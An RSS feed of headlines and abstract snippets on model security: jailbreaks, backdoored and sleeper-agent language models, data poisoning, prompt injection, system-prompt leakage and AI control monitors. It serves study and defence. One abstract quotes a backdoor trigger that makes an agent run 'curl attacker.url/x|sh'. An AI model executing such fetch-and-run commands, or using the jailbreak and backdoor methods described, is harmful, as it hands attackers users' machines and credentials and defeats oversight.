<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Keryn Headlines: Models</title><link>https://keryn.dev/headlines/tag/models/</link><description>Model-level security: jailbreaks, poisoning, extraction, backdoors, evals.</description><language>en</language><lastBuildDate>Sun, 22 Nov 2026 15:38:34 GMT</lastBuildDate><atom:link href="https://keryn.dev/headlines/tag/models/feed.xml" rel="self" type="application/rss+xml"/><item><title>ThreatsDay: GPT-6.2 Jailbreak Flaws, BubbleLoader PNG Malware, $500M Ransom Demands + 17 More Stories</title><link>https://thehackernews.com/2026/11/threatsday-gpt-62-jailbreak-flaws.html</link><guid isPermaLink="false">keryn-headlines-event-ev_f0326ad1922a</guid><pubDate>Thu, 19 Nov 2026 18:47:58 GMT</pubDate><category>Roundup</category><category>Models</category><description>The easiest way to fool someone is to give them something they already expect. A job offer. A message about a service outage. A familiar app. Nothing looks strange at first. And that&#39;s the problem. This week&#39;s stories show how ordinary things are being used to steal data,…</description></item><item><title>SEOYUN: Refusal-Inducing Exam Documents for AI-Glasses Pipelines</title><link>https://arxiv.org/abs/2611.26033</link><guid isPermaLink="false">keryn-headlines-event-ev_d7a22d65b872</guid><pubDate>Thu, 19 Nov 2026 12:43:31 GMT</pubDate><category>Research</category><category>AI Security</category><category>Models</category><description>Camera-equipped glasses can convert an examination page into a query to a vision-language model (VLM). Device detection addresses possession; a complementary question is whether an examination document can reduce the usefulness of an unauthorized capture. We present SEOYUN, an…</description></item><item><title>UniReFP: Robust Unified Fingerprinting for Vision Models against Cross-Task Repurposing Attacks</title><link>https://arxiv.org/abs/2611.25555</link><guid isPermaLink="false">keryn-headlines-event-ev_3ccb467e7bc2</guid><pubDate>Thu, 19 Nov 2026 06:00:41 GMT</pubDate><category>Research</category><category>Models</category><description>We identify, for the first time, a new model modification attack--the cross-task model repurposing attack--that can render fingerprints generated by existing model fingerprinting approaches inapplicable. To address this challenge, we propose UniReFP--a novel unified model…</description></item><item><title>On the Impact of Feature Reduction Techniques on Adversarial Attacks</title><link>https://arxiv.org/abs/2611.25004</link><guid isPermaLink="false">keryn-headlines-event-ev_1e54763c2868</guid><pubDate>Wed, 18 Nov 2026 18:12:46 GMT</pubDate><category>Research</category><category>Models</category><description>Adversarial attacks have posed significant threats to machine learning models by exploiting their inherent vulnerabilities. Researchers have established an interdisciplinary field called adversarial machine learning to explore these vulnerabilities and develop corresponding…</description></item><item><title>SCR: Detecting Backdoor-Poisoned Samples through Clean-Reference Residuals</title><link>https://arxiv.org/abs/2611.24558</link><guid isPermaLink="false">keryn-headlines-event-ev_19e94b3cc95b</guid><pubDate>Wed, 18 Nov 2026 14:57:37 GMT</pubDate><category>Research</category><category>Models</category><description>Deep neural networks are vulnerable to backdoor attacks, in which adversaries manipulate model predictions by injecting poisoned samples into training data. Detecting these samples remains challenging because legitimate semantic variation can obscure poisoning-related signals…</description></item><item><title>RECLAIM: Robot-Vision-Informed Adversarial Patch Defense via Embodied Attention Feedback</title><link>https://arxiv.org/abs/2611.24494</link><guid isPermaLink="false">keryn-headlines-event-ev_eb70c995477e</guid><pubDate>Wed, 18 Nov 2026 14:24:10 GMT</pubDate><category>Research</category><category>Models</category><description>Vision-language-action policies control embodied agents through a perception-action loop grounded in physical interaction, where adversarial patches can corrupt action predictions and thereby alter subsequent observations. To mitigate these threats, many existing defenses rely…</description></item><item><title>DetectViT: Test-time Backdoor Detection for Vision Transformers via Inter-Head Attention Discrepancy</title><link>https://arxiv.org/abs/2611.23770</link><guid isPermaLink="false">keryn-headlines-event-ev_567e2a3f1137</guid><pubDate>Wed, 18 Nov 2026 03:26:33 GMT</pubDate><category>Research</category><category>Models</category><description>Vision Transformers (ViTs) now underpin the visual encoders of most multimodal models, but this success comes at a cost: relying on third-party pretrained checkpoints leaves these systems open to backdoor attacks. Existing test-time detection methods rely on either the…</description></item><item><title>SEAM: Computer-Use Agents Know the Harm Between Screens, and Commit It Anyway</title><link>https://arxiv.org/abs/2611.22971</link><guid isPermaLink="false">keryn-headlines-event-ev_eb64c7888a83</guid><pubDate>Tue, 17 Nov 2026 15:53:58 GMT</pubDate><category>Research</category><category>Models</category><description>Safety benchmarks for computer-use agents (CUAs) place the harm either in the intent of the task or on a single screen: a malicious instruction, an injected command, a phishing page. An agent that checks the task and each screen in isolation can pass them, so they do not test…</description></item><item><title>Who Pays for Byzantine Robustness? Validity, Data-Share Dictatorships, and Fairness When Only a Few Hospitals Collaborate</title><link>https://arxiv.org/abs/2611.22904</link><guid isPermaLink="false">keryn-headlines-event-ev_b99f4da0bd74</guid><pubDate>Tue, 17 Nov 2026 15:08:55 GMT</pubDate><category>Research</category><category>Models</category><description>Clinical federated learning (FL) collaborations typically connect only three to six hospitals, yet Byzantine-robust aggregation rules are designed and benchmarked on synthetic partitions across dozens of equal-sized clients. We conduct an empirical audit of eight standard…</description></item><item><title>Dressed in Authority: Practical Black-Box Jailbreaking of MLLMs via Visual Trust Bias</title><link>https://arxiv.org/abs/2611.22292</link><guid isPermaLink="false">keryn-headlines-event-ev_cfd60d7cdb79</guid><pubDate>Tue, 17 Nov 2026 06:50:06 GMT</pubDate><category>Research</category><category>Models</category><description>Multimodal large language models (MLLMs) are rapidly advancing, yet their safety remains a critical concern, especially under jailbreak attempts. Existing MLLM jailbreaks either inject fragile adversarial perturbations into irrelevant images or synthesize toxic visual cues to…</description></item><item><title>Is 4-Bit Quantization More Than Noise to a Chat Model&#39;s Safety Behaviour? Attributing Behavioural Shifts with Matched Perturbations</title><link>https://arxiv.org/abs/2611.22186</link><guid isPermaLink="false">keryn-headlines-event-ev_61d6aab3c99e</guid><pubDate>Tue, 17 Nov 2026 04:20:17 GMT</pubDate><category>Research</category><category>Models</category><description>Chat models on phones and laptops are usually 4-bit copies of the model that was evaluated, and audits of such copies disagree about what quantization does to refusal. A 4-bit build is one of many weight perturbations of the same size, so a change in its behaviour could come…</description></item><item><title>Eight in Ten LLMs Leak System-Prompt Secrets: Nevan, an Agentic Capture-the-Flag Study</title><link>https://arxiv.org/abs/2611.21956</link><guid isPermaLink="false">keryn-headlines-event-ev_4a05e6c92079</guid><pubDate>Mon, 16 Nov 2026 22:37:31 GMT</pubDate><category>Research</category><category>Models</category><description>We audit instruction-hierarchy enforcement across 363 text-in/text-out models from the OpenRouter catalog. The research question we answer with this experiment is which models disclose a protected secret embedded in the system prompt, and through which techniques. Each model…</description></item><item><title>&#39;Sleeper Agent&#39; Tactic Hides Payloads in Open-Weight AI Models</title><link>https://darkreading.com/vulnerabilities-threats/sleeper-agent-tactic-payloads-open-weight-ai-models</link><guid isPermaLink="false">keryn-headlines-event-ev_e38ad510174e</guid><pubDate>Mon, 16 Nov 2026 19:10:03 GMT</pubDate><category>Research</category><category>Models</category><description>Malware can lurk inside just 0.00001% of a neural network. How, then, can any user tell it&#39;s there?</description></item><item><title>STA: A Split Temporal Adversary Method for Evaluating Robustness of Multimodal RL-based Driving Policies</title><link>https://arxiv.org/abs/2611.20765</link><guid isPermaLink="false">keryn-headlines-event-ev_8b4758e2055a</guid><pubDate>Mon, 16 Nov 2026 09:16:45 GMT</pubDate><category>Research</category><category>Models</category><description>Multimodal reinforcement learning (MRL) offers a promising paradigm for autonomous driving by jointly leveraging complementary sensor observations to learn effective decision-making policies. However, its effectiveness critically depends on temporal alignment across modalities,…</description></item><item><title>HalluProbe: Exploiting VLM Hallucinations for Backdoor Detection</title><link>https://arxiv.org/abs/2611.19868</link><guid isPermaLink="false">keryn-headlines-event-ev_b1922255d3af</guid><pubDate>Sun, 15 Nov 2026 08:16:28 GMT</pubDate><category>Research</category><category>Models</category><description>Vision-Language Models (VLMs) are vulnerable to backdoor attacks introduced through data poisoning, making effective backdoor detection a critical security challenge. In this paper, we uncover a novel connection between VLM hallucinations and backdoor behaviors and exploit this…</description></item><item><title>When Backdoors Can Be Switched Off: Suppression-Aware Backdoor Attacks on Vision-Language-Action Models</title><link>https://arxiv.org/abs/2611.19774</link><guid isPermaLink="false">keryn-headlines-event-ev_d723d6d25412</guid><pubDate>Sun, 15 Nov 2026 04:01:22 GMT</pubDate><category>Research</category><category>Models</category><description>Vision-Language-Action (VLA) models map visual observations, robot states, and natural-language instructions to robotic actions, but their multimodal interfaces introduce new security risks. Existing VLA backdoor attacks primarily study trigger-based activation and stealthy…</description></item><item><title>BadGCL: Towards Persistent Backdoor Attack on Graph Continual Learning Systems</title><link>https://arxiv.org/abs/2611.19656</link><guid isPermaLink="false">keryn-headlines-event-ev_eab74e3308fe</guid><pubDate>Sat, 14 Nov 2026 22:56:28 GMT</pubDate><category>Research</category><category>Models</category><description>Backdoor attacks pose a persistent security threat to machine learning systems, yet their behavior under graph continual learning (GCL) remains underexplored. Conventional graph backdoor attacks often lose effectiveness as models are updated across successive tasks, creating…</description></item><item><title>Steering Bayesian Inference and Decisions through Data Poisoning</title><link>https://arxiv.org/abs/2611.19557</link><guid isPermaLink="false">keryn-headlines-event-ev_1fbbef7173fc</guid><pubDate>Sat, 14 Nov 2026 18:40:33 GMT</pubDate><category>Research</category><category>Models</category><description>Adversarial machine learning has revealed that statistical models can be manipulated through poisoned data, and Bayesian inference is no exception. Earlier work has shown that subtle poisoning attacks can drive the posterior toward a distribution of the attacker&#39;s choosing.…</description></item><item><title>A Backdoor Trigger Is Legible in Fine-Tune Weights</title><link>https://arxiv.org/abs/2611.19304</link><guid isPermaLink="false">keryn-headlines-event-ev_522061cdd82d</guid><pubDate>Sat, 14 Nov 2026 10:05:01 GMT</pubDate><category>Research</category><category>Models</category><description>A backdoored language model behaves normally until a trigger phrase appears in its input. Every published method for recovering such a trigger runs the model. We show the trigger is legible in the weights alone: a static statistic reads a fine-tuned checkpoint with no forward…</description></item><item><title>On-policy distillation as a Backdoor Propagation Channel</title><link>https://arxiv.org/abs/2611.19207</link><guid isPermaLink="false">keryn-headlines-event-ev_f42d792e7f02</guid><pubDate>Sat, 14 Nov 2026 06:57:27 GMT</pubDate><category>Research</category><category>Models</category><description>On-policy distillation (OPD) is emerging as an important paradigm for the post training of large language models, improving student models by leveraging supervision generated online by teacher models. However, whether this process also transfers latent security risks from…</description></item><item><title>LLMs are Vulnerable to Malicious Requests with Indistinguishable Intent</title><link>https://arxiv.org/abs/2611.17818</link><guid isPermaLink="false">keryn-headlines-event-ev_0d3595aeed7c</guid><pubDate>Fri, 13 Nov 2026 06:56:51 GMT</pubDate><category>Research</category><category>Models</category><description>Jailbreak attacks can circumvent the safety mechanisms of Large Language Models (LLMs) and lead to the generation of harmful or policy-violating content. We first examine eight jailbreak methods against an LLM-based filter and observe that requests resembling normal user…</description></item><item><title>Building strong safety evaluations</title><link>https://anthropic.com/research/building-strong-safety-evaluations</link><guid isPermaLink="false">keryn-headlines-event-ev_e1fb74256db0</guid><pubDate>Fri, 13 Nov 2026 00:00:00 GMT</pubDate><category>Guide</category><category>Models</category><description>Recommendations for designing, running, and reporting safety evaluations, based on our own experiences.</description></item><item><title>Creating Steering Vectors via Input Optimisation</title><link>https://arxiv.org/abs/2611.17481</link><guid isPermaLink="false">keryn-headlines-event-ev_91ea06af8ac0</guid><pubDate>Thu, 12 Nov 2026 20:06:14 GMT</pubDate><category>Research</category><category>Models</category><description>Activation steering influences a language model&#39;s behaviour by adding a steering vector to its residual stream during generation, but it requires white-box access to modify the hidden states at every generation step. We introduce ActGCG, a modification of Greedy Coordinate…</description></item><item><title>A Convex-Analytic Reformulation for Poisoning Attacks on Logistic Regression</title><link>https://arxiv.org/abs/2611.17143</link><guid isPermaLink="false">keryn-headlines-event-ev_287300590c84</guid><pubDate>Thu, 12 Nov 2026 17:30:34 GMT</pubDate><category>Research</category><category>Models</category><description>We study data poisoning attacks on logistic regression with $\ell_2$-regularization, where an attacker chooses the features of a fixed number of injected observations with prescribed labels to maximize the logistic loss on the clean training data. Strong convexity of the…</description></item><item><title>Trained to betray: How post-training supply chain attacks hijack coding agents</title><link>https://microsoft.com/en-us/security/blog/2026/11/12/trained-to-betray-how-post-training-supply-chain-attacks-hijack-coding-agents</link><guid isPermaLink="false">keryn-headlines-event-ev_a871759c1f14</guid><pubDate>Thu, 12 Nov 2026 17:00:00 GMT</pubDate><category>Research</category><category>Agentic SDLC</category><category>AI Security</category><category>Models</category><category>SCA</category><description>Microsoft Defender Research and the AI Red Team discuss how poisoned datasets and poisoned model checkpoints can trigger remote code execution and other malicious activities.</description></item><item><title>Can LLMs Write Backdoors? An Empirical Security Study of Weight-Space Programming</title><link>https://arxiv.org/abs/2611.17395</link><guid isPermaLink="false">keryn-headlines-event-ev_ed7003fcbe8c</guid><pubDate>Thu, 12 Nov 2026 16:41:07 GMT</pubDate><category>Research</category><category>Models</category><description>Recent advances in weight-space programming (WSP) have demonstrated that large language models (LLMs) can directly inspect and modify neural network weights without conventional gradient-based training. While this capability opens new possibilities for model improvement, it…</description></item><item><title>Bait: Mitigating Harmful Agentic Reinforcement Learning via Probing Reward Function</title><link>https://arxiv.org/abs/2611.16369</link><guid isPermaLink="false">keryn-headlines-event-ev_1ebbe136dcf1</guid><pubDate>Thu, 12 Nov 2026 06:34:34 GMT</pubDate><category>Research</category><category>Models</category><description>We expose a safety vulnerability on nascent agentic reinforcement-learning-as-a-service. Specifically, with a cost as low as \$20, we show that safety alignment of a large language model (e.g., Inkling) can be completely subverted through rounds of harmful agentic reinforcement…</description></item><item><title>Strengthening our safeguards with frontier automated red-teaming</title><link>https://safeguards.anthropic.com/2026/automated-red-teaming</link><guid isPermaLink="false">keryn-headlines-event-ev_325700ad56c2</guid><pubDate>Thu, 12 Nov 2026 00:00:00 GMT</pubDate><category>Research</category><category>Models</category><description>Anvil’s jailbreaks are tuned to specific tasks and don’t easily carry over to other tasks in the same domain.</description></item><item><title>Your Secrets Are Showing: Deep Image Hiding Models Are Surprisingly Easy to Attack</title><link>https://arxiv.org/abs/2611.15583</link><guid isPermaLink="false">keryn-headlines-event-ev_5b7170230409</guid><pubDate>Wed, 11 Nov 2026 15:05:33 GMT</pubDate><category>Research</category><category>Models</category><description>In this work, we ask whether an attacker can go beyond detecting a hidden image and tell what it depicts, even without knowing which model hid it. We show that, for deep image hiding, this is surprisingly easy. To test this, we build an evaluation dataset of stego images…</description></item><item><title>Microsoft Researchers Show AI Agents Can Be Backdoored by Editing Fewer Than 10 Neurons</title><link>https://thehackernews.com/2026/11/microsoft-researchers-show-ai-agents.html</link><guid isPermaLink="false">keryn-headlines-event-ev_3dfde9ab7b0a</guid><pubDate>Wed, 11 Nov 2026 07:21:05 GMT</pubDate><category>Research</category><category>Models</category><description>An AI model can be given a hidden backdoor by editing fewer than 10 of its rarely used neurons, without retraining the model, Microsoft researchers have shown. When a chosen trigger appears, the model outputs an attacker&#39;s command, which an agent using that model would run with…</description></item><item><title>Lazare, veni foras: Reprogramming Dormant Neurons to Backdoor AI Agents</title><link>https://arxiv.org/abs/2611.15118</link><guid isPermaLink="false">keryn-headlines-event-ev_9b44e5aefd6a</guid><pubDate>Wed, 11 Nov 2026 06:53:24 GMT</pubDate><category>Research</category><category>AI Security</category><category>Models</category><description>Imagine an AI agent that aces every relevant evaluation, but when it sees 2027-01-01 in the terminal, it runs curl attacker.url/x|sh, handing an attacker your credentials and your machine. Agents now run unattended for hours with privileged system access, making the integrity…</description></item><item><title>Protecting Sensitive Knowledge Under LLM Unlearning: The Proxy Threat and a Superposition-Aware Defense</title><link>https://arxiv.org/abs/2611.15013</link><guid isPermaLink="false">keryn-headlines-event-ev_d1c5befc6298</guid><pubDate>Wed, 11 Nov 2026 04:10:32 GMT</pubDate><category>Research</category><category>Models</category><description>Machine unlearning lets the owner of large language models (LLMs) remove specific entities from a trained model without retraining from scratch. Existing machine unlearning methods focus on removing the requested entities while maintaining utility. However, we observe that the…</description></item><item><title>Poison-then-Hide: Finetuning-Activated Backdoor Attack on Pretrained Vision Encoders</title><link>https://arxiv.org/abs/2611.14970</link><guid isPermaLink="false">keryn-headlines-event-ev_dae173ef11a6</guid><pubDate>Wed, 11 Nov 2026 03:30:37 GMT</pubDate><category>Research</category><category>Models</category><description>Backdoor attacks threaten the integrity of machine learning models by allowing attackers to control model behavior through triggers. Models can be compromised during finetuning by backdoor attacks through either poisoned data or adversarial training objectives. Because existing…</description></item><item><title>Beyond Attack-Based Accuracy: Rethinking Adversarial Robustness Evaluation Through Structural Gradient Alignment</title><link>https://arxiv.org/abs/2611.17377</link><guid isPermaLink="false">keryn-headlines-event-ev_873d2f5a98e6</guid><pubDate>Wed, 11 Nov 2026 02:44:11 GMT</pubDate><category>Research</category><category>Models</category><description>Visual adversarial robustness remains a fundamental security property as vision systems evolve from conventional classifiers to vision-language models (VLMs) and large vision-language models (LVLMs), with visual inputs remaining an attack surface across generations. Yet…</description></item><item><title>Detecting sleeper agents hiding in AI model neurons</title><link>https://microsoft.com/en-us/security/blog/2026/11/10/detecting-sleeper-agents-hiding-in-ai-model-neurons</link><guid isPermaLink="false">keryn-headlines-event-ev_16d0b08440e8</guid><pubDate>Tue, 10 Nov 2026 23:00:00 GMT</pubDate><category>Research</category><category>Models</category><description>Microsoft Research has released new threat research detailing how a capable agent model could be turned into a sleeper agent by editing fewer than ten neurons to inject a short payload; Microsoft Research has also found that this threat is detectable by frontier agents, which…</description></item><item><title>GARD: Gradient-Guided Adversarial Representation Defense against Backdoors in Multimodal Contrastive Learning Models</title><link>https://arxiv.org/abs/2611.14143</link><guid isPermaLink="false">keryn-headlines-event-ev_388df3086bb2</guid><pubDate>Tue, 10 Nov 2026 14:30:36 GMT</pubDate><category>Research</category><category>Models</category><description>Multimodal contrastive learning models such as CLIP are vulnerable to backdoor attacks with diverse trigger structures, ranging from localized patches to globally distributed perturbations, with recent attacks increasingly optimizing these triggers in the representation space.…</description></item><item><title>POEM: Output-Relative Block-Sparse Attention for Long-Context Prefilling</title><link>https://arxiv.org/abs/2611.13578</link><guid isPermaLink="false">keryn-headlines-event-ev_f7df2c9668da</guid><pubDate>Tue, 10 Nov 2026 04:52:58 GMT</pubDate><category>Research</category><category>Models</category><description>Large language models (LLMs) have shown strong capabilities across diverse applications, making both safety and utility essential for reliable deployment. Jailbreak attacks use diverse forms of adversarial prompting to bypass alignment safeguards and induce LLMs to generate…</description></item><item><title>TERM: Target-Free Jailbreak Defense via Entropy-Guided Residual Modulation</title><link>https://arxiv.org/abs/2611.13577</link><guid isPermaLink="false">keryn-headlines-event-ev_3b645d16518e</guid><pubDate>Tue, 10 Nov 2026 04:52:10 GMT</pubDate><category>Research</category><category>Models</category><description>Large language models (LLMs) have shown strong capabilities across diverse applications, making both safety and utility essential for reliable deployment. Jailbreak attacks use diverse forms of adversarial prompting to bypass alignment safeguards and induce LLMs to generate…</description></item><item><title>Data-Efficient Unlearning-Based Backdoor Detection in Federated Learning</title><link>https://arxiv.org/abs/2611.13491</link><guid isPermaLink="false">keryn-headlines-event-ev_34084d40342b</guid><pubDate>Tue, 10 Nov 2026 03:04:31 GMT</pubDate><category>Research</category><category>Models</category><description>Detecting backdoor attacks in federated learning (FL) is challenging because malicious clients can manipulate the global model while preserving main-task performance. Static model-update statistics may therefore fail to clearly distinguish malicious from benign clients.…</description></item><item><title>Scaling Adaptive Prompt Injection Attacks with Agent Swarms</title><link>https://arxiv.org/abs/2611.11861</link><guid isPermaLink="false">keryn-headlines-event-ev_431c8c16ed17</guid><pubDate>Mon, 09 Nov 2026 04:34:14 GMT</pubDate><category>Research</category><category>AI Security</category><category>Models</category><description>Prompt injections have emerged as one of the top security risks faced by AI agents today. Early work in prompt injection attacks looked at simple tool-call agents and static attack payloads, and were saturated since mid-2025. As of Fall 2026, human red-teaming may be nearing…</description></item><item><title>Beyond AUROC: Deployment-Aware Evaluation of Model-Internal Jailbreak Detectors</title><link>https://arxiv.org/abs/2611.11067</link><guid isPermaLink="false">keryn-headlines-event-ev_30705c607e35</guid><pubDate>Sun, 08 Nov 2026 01:54:01 GMT</pubDate><category>Research</category><category>Models</category><description>Large language models (LLMs) are increasingly deployed in user-facing systems, where jailbreak attacks can bypass safety controls and induce harmful and policy-violating outputs. Recent model-internal detectors use hidden representations, gradients, or internal signals to…</description></item><item><title>BAPLe++: Cross-Model Transferability and Prompt-Level Defense of Backdoors in Medical Foundation Models</title><link>https://arxiv.org/abs/2611.10764</link><guid isPermaLink="false">keryn-headlines-event-ev_e81801ec8c18</guid><pubDate>Sat, 07 Nov 2026 14:45:37 GMT</pubDate><category>Research</category><category>Models</category><description>Medical foundation models (Med-FMs) are increasingly adapted to clinical tasks through prompt learning, which tunes a small set of prompt tokens while the backbone remains frozen. Recent work has shown that this efficiency introduces a vulnerability: jointly optimizing…</description></item><item><title>When Experience Becomes a Backdoor: Poisoning Self-Evolving LLM Agents via Failure-Aware Task Optimization</title><link>https://arxiv.org/abs/2611.10542</link><guid isPermaLink="false">keryn-headlines-event-ev_bf3e7770692b</guid><pubDate>Sat, 07 Nov 2026 07:17:53 GMT</pubDate><category>Research</category><category>Models</category><description>Large language model (LLM) agents increasingly improve themselves through self-evolution, distilling execution experience into persistent, reusable skills. However, this persistence creates a new attack surface: malicious rules implanted into skills can compromise subsequent…</description></item><item><title>Beyond the Prompt: Leveraging Pre-Decoding States for Jailbreak Detection in dLLMs</title><link>https://arxiv.org/abs/2611.10258</link><guid isPermaLink="false">keryn-headlines-event-ev_1bcd97550a9b</guid><pubDate>Fri, 06 Nov 2026 21:46:25 GMT</pubDate><category>Research</category><category>Models</category><description>Diffusion large language models (dLLMs) have recently emerged as a strong alternative to autoregressive models, generating responses by iteratively refining masked tokens in parallel rather than decoding sequentially. While enabling more efficient and flexible inference, dLLMs…</description></item><item><title>Enmo Safety: External, Non-invasive, Model-agnostic Oversight for Off-the-Shelf Language Models</title><link>https://arxiv.org/abs/2611.10099</link><guid isPermaLink="false">keryn-headlines-event-ev_a1757ca1d6ab</guid><pubDate>Fri, 06 Nov 2026 17:28:13 GMT</pubDate><category>Research</category><category>Models</category><description>We study a safety harness that improves itself without touching model weights. Enmo Safety wraps a chat model with a deterministic input assessment, trigger-matched safety guidance, spotlighting of untrusted content, and an output guard. A reflector model turns failures into…</description></item><item><title>GuardrailAgent: An Agentic Framework for Jailbreak Defense</title><link>https://arxiv.org/abs/2611.09734</link><guid isPermaLink="false">keryn-headlines-event-ev_3c1cad39cf5e</guid><pubDate>Fri, 06 Nov 2026 17:09:55 GMT</pubDate><category>Research</category><category>Models</category><description>Despite undergoing safety training to align with human values, large language models (LLMs) remain vulnerable to jailbreak attacks that circumvent built-in safeguards and elicit malicious behaviors given by the adversary. Existing defenses are mostly static and fail to adapt to…</description></item><item><title>Cutpurse: Decomposing Explanation-Guided Model Extraction on Tabular Data</title><link>https://arxiv.org/abs/2611.09375</link><guid isPermaLink="false">keryn-headlines-event-ev_f121a00c4922</guid><pubDate>Fri, 06 Nov 2026 12:15:21 GMT</pubDate><category>Research</category><category>Models</category><description>Explanation APIs are often treated as increasing model-extraction risk, but an end-to-end attack comparison cannot show whether an explanation reveals model-specific information or merely supplies a convenient next-query coordinate. We study this distinction for…</description></item><item><title>AttentionSwitch: Jailbreak Defense for LLMs via Joint Learning of Sparse Attention-Head Selection and Scaling</title><link>https://arxiv.org/abs/2611.08752</link><guid isPermaLink="false">keryn-headlines-event-ev_74aa06b8f40b</guid><pubDate>Thu, 05 Nov 2026 22:00:17 GMT</pubDate><category>Research</category><category>Models</category><description>Large language models have achieved remarkable performance across a wide range of tasks, yet they remain susceptible to jailbreak attacks that circumvent safety mechanisms and elicit harmful or unintended outputs. Although safety can be improved through model fine-tuning, such…</description></item><item><title>Introducing the FMF Jailbreak Rating Framework for Frontier Cyber Threats</title><link>https://frontiermodelforum.org/updates/introducing-the-fmf-jailbreak-rating-framework-for-frontier-cyber-threats</link><guid isPermaLink="false">keryn-headlines-event-ev_e5cc41b85e48</guid><pubDate>Thu, 05 Nov 2026 14:38:26 GMT</pubDate><category>Standard / policy</category><category>Models</category><description>Today the Frontier Model Forum (FMF) is releasing Version 1.0 of the FMF’s Jailbreak Rating Framework for Frontier Cyber Threats, a preliminary framework that provides a structured method for rating the comparative risk profile of successful cyber jailbreaks. Our aim is to help…</description></item><item><title>JailBound: FOL-Guided Jailbreak Evaluation for Exploring LLM Behavioral Boundaries</title><link>https://arxiv.org/abs/2611.07530</link><guid isPermaLink="false">keryn-headlines-event-ev_5bd42bc3b7ed</guid><pubDate>Thu, 05 Nov 2026 06:41:14 GMT</pubDate><category>Research</category><category>Models</category><description>As large language models (LLMs) are increasingly deployed as general-purpose conversational assistants, they must handle diverse user requests while reliably refusing harmful ones. Jailbreak attacks craft adversarial instructions or conversational contexts to elicit unsafe…</description></item><item><title>Breaking $\mathsf{TraintoDefend}$ via Adaptive Neuron Clustering in Cryptanalytic Model Extraction</title><link>https://arxiv.org/abs/2611.07370</link><guid isPermaLink="false">keryn-headlines-event-ev_79cf91d4cb4b</guid><pubDate>Thu, 05 Nov 2026 03:15:23 GMT</pubDate><category>Research</category><category>Models</category><description>Cryptanalytic model extraction poses a fundamental threat to deep learning model confidentiality by enabling precise parameter recovery with theoretical guarantees of functional equivalence. To counter this growing threat, $\mathsf{TraintoDefend}$ (NeurIPS 2025) was proposed as…</description></item><item><title>Fingerprinting the Dispatchers behind Distributed Model Extraction</title><link>https://arxiv.org/abs/2611.06661</link><guid isPermaLink="false">keryn-headlines-event-ev_8568cf655b83</guid><pubDate>Wed, 04 Nov 2026 15:36:56 GMT</pubDate><category>Research</category><category>Models</category><description>API distillation campaigns try to hide model-stealing traffic by splitting requests across thousands of load-balanced accounts, which standard content classifiers often miss. However, request timestamps, specifically arrival time and stream completion time, reveal the…</description></item><item><title>Addition by Subtraction: Toward Mitigating Fragile Safety Alignment in Large Language Models</title><link>https://arxiv.org/abs/2611.06553</link><guid isPermaLink="false">keryn-headlines-event-ev_a66a17e4367e</guid><pubDate>Wed, 04 Nov 2026 14:18:05 GMT</pubDate><category>Research</category><category>Models</category><description>Large language models (LLMs) undergo safety alignment to prevent harmful generations, yet they remain vulnerable to jailbreak attacks. Recent work reveals a deeper structural weakness: safety alignment can be highly sparse, such that pruning a small number of safety-critical…</description></item><item><title>A Bag of Tricks for Defending Deep Learning-based Face Recognition Pipelines against Backdoor Attacks</title><link>https://arxiv.org/abs/2611.06412</link><guid isPermaLink="false">keryn-headlines-event-ev_15523dbc7ae8</guid><pubDate>Wed, 04 Nov 2026 12:12:32 GMT</pubDate><category>Research</category><category>Models</category><description>The protection of mature, multi-stage Face Recognition Systems is crucial to system providers. This technical report targets the threat model most relevant to industry practitioners: although model training is performed in-house, training data is sourced from…</description></item><item><title>SafeStart: Mitigating the Overlooked Safety Cost of Active Expert Reduction in MoE LLM Serving</title><link>https://arxiv.org/abs/2611.06147</link><guid isPermaLink="false">keryn-headlines-event-ev_85f9b437fc2c</guid><pubDate>Wed, 04 Nov 2026 08:31:01 GMT</pubDate><category>Research</category><category>Models</category><description>Mixture-of-Experts (MoE) language models send each token through a few of many expert subnetworks. Serving methods make these models faster by running even fewer experts per token, and they are validated on accuracy benchmarks. We show that these methods can weaken the model&#39;s…</description></item><item><title>BrainwashedLLM: Jailbreaking via Automated Adversarial Chain of Thoughts Discovery</title><link>https://arxiv.org/abs/2611.04717</link><guid isPermaLink="false">keryn-headlines-event-ev_1bcea2d7a9dd</guid><pubDate>Tue, 03 Nov 2026 11:38:50 GMT</pubDate><category>Research</category><category>Models</category><description>Large Reasoning Models (LRMs) achieve strong performance on complex tasks by generating explicit Chain-of-Thought (CoT) reasoning, but the safety implications of this intermediate reasoning surface remain underexplored. We demonstrate that the reasoning trace itself is a…</description></item><item><title>LoRA-Patch: Defending Against Backdoored LoRA Adapters via Directional Steering</title><link>https://arxiv.org/abs/2611.03752</link><guid isPermaLink="false">keryn-headlines-event-ev_c3f449376884</guid><pubDate>Mon, 02 Nov 2026 08:44:49 GMT</pubDate><category>Research</category><category>Models</category><description>Third-party LoRA adapters introduce serious backdoor risks: malicious adapters can maintain normal task performance while embedding hidden, trigger-activated behaviors, making them difficult to detect through standard utility evaluations. Existing removal-based defenses…</description></item><item><title>HaloGuard 2.0: An Open-Weights Constitutional Output Guard for Multilingual Response Safety</title><link>https://arxiv.org/abs/2611.02134</link><guid isPermaLink="false">keryn-headlines-event-ev_76c438b2b99a</guid><pubDate>Sun, 01 Nov 2026 19:09:12 GMT</pubDate><category>Research</category><category>Models</category><description>An input guard decides whether a request reaches the model, but never sees what the model says. Harm that emerges during generation, because a jailbreak passed the input layer or a benign request drifted into operational detail, is visible only on the output side and only as…</description></item><item><title>J-Anchor: Defending Against Prefill Attacks via J-Space Selective Refusal Restoration</title><link>https://arxiv.org/abs/2611.01342</link><guid isPermaLink="false">keryn-headlines-event-ev_2bd2ee5f90c0</guid><pubDate>Sat, 31 Oct 2026 23:19:05 GMT</pubDate><category>Research</category><category>Models</category><description>Prefill jailbreaks can cause safety-aligned language models to continue an unsafe assistant prefix even when they would refuse the same request under normal decoding. We study how the model&#39;s internal harmfulness and refusal signals evolve along this attacker-controlled…</description></item><item><title>Pop Goes the Verifier: Phoneme-Targeted Data Poisoning of Voice Liveness Detection</title><link>https://arxiv.org/abs/2611.01095</link><guid isPermaLink="false">keryn-headlines-event-ev_a22b71ce0950</guid><pubDate>Sat, 31 Oct 2026 16:35:38 GMT</pubDate><category>Research</category><category>Models</category><description>Many Automated Speaker Verification Systems (ASVs) commonly employ liveliness detection techniques, such as VoicePop, which identify genuine speech by analyzing low- frequency pop bursts from plosive phonemes using Gammatone Frequency Cepstral Coefficients (GFCC) and an SVM…</description></item><item><title>Simple Features Beat Most AI Control Monitors</title><link>https://arxiv.org/abs/2610.41713</link><guid 